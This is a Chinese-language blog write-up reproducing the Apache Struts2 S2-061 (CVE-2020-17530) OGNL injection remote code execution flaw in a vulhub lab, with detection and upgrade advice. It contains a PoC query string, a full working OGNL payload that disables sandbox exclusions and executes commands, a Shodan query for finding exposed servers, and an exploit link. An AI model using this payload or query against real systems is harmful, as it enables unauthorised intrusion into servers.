CVE-2020-17530 Struts2 S2-061 RCE远程命令执行漏洞复现

CVE-2020-17530 Struts2 S2-061 RCE远程命令执行漏洞复现

漏洞简述

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,S2-061是对S2-059沙盒进行的绕过。

Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。

Shodan 搜索语法

"JSESSIONID=" "Jetty"

由于Struts2只是一个开发框架,明显的特征是url中带有.action。但是在shodan中不太好过滤,因此该规则不一定准确。
大家有更准确的过滤规则可以在下面留言补充。

漏洞影响版本

Apache Struts 2.0.0-2.5.25

漏洞exp

https://github.com/yaunsky/s2-061-rce

漏洞环境搭建

使用vulhub搭建。

漏洞复现

使用poc进行验证。

?id=%25%7b+%27test%27+%2b+(233+%2b+233).toString()%7d

使用vulhub提供的exp进行测试。

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

命令执行成功。

使用上面提供的exp检测。

溯源排查

struts本身没有web日志记录,docker logs中也没有记录,只有400报错的记录。

真实环境下,如果使用了Nginx反向代理可以排查access.log。

这里有一篇structs2 溯源排查的文章。https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=159661

修复方式

升级到 Struts 2.5.26 或更高版本。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论